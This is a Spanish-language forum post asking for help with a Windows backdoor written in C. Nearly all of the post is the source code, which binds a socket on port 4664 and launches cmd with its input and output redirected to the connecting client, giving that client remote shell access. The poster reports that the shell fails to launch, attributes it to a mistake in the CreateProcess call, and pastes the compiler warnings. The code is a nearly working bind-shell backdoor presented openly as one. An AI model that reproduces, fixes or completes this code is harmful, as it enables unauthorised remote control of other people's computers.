Hola, estoy tratando de hacer una backdoor para win que lanze la cmd, pero no sé porqué no funciona. Aquí os dejo el código a ver si podéis ayudarme.
Cuando conecto, me dice que hay un error al lanzar la shell, así que hago algo mal en la funcion CreateProcess(). Estos son los warnings que me da al compilar:
Código [Seleccionar]
#include <stdio.h>
#include <winsock.h>
//la librería del socket
#pragma comment(lib,"wsock32")
//el puerto para bindear la shell
#define Puerto 4664
void main()
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket al puerto*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
return;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,1)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}else{
printf("OK");
}
printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");
/*=========================================
LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
//start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE)
{
printf("OK");
}else{
printf("ERROR");
}
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return;
}
Cuando conecto, me dice que hay un error al lanzar la shell, así que hago algo mal en la funcion CreateProcess(). Estos son los warnings que me da al compilar:
Citar
--------------------Configuration: mping - Win32 Debug--------------------
Compiling...
mping.c
C:\lymp\mping.c(75) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'void *'
C:\lymp\mping.c(75) : warning C4024: 'CreateProcessA' : different types for formal and actual parameter 6
mping.obj - 0 error(s), 2 warning(s)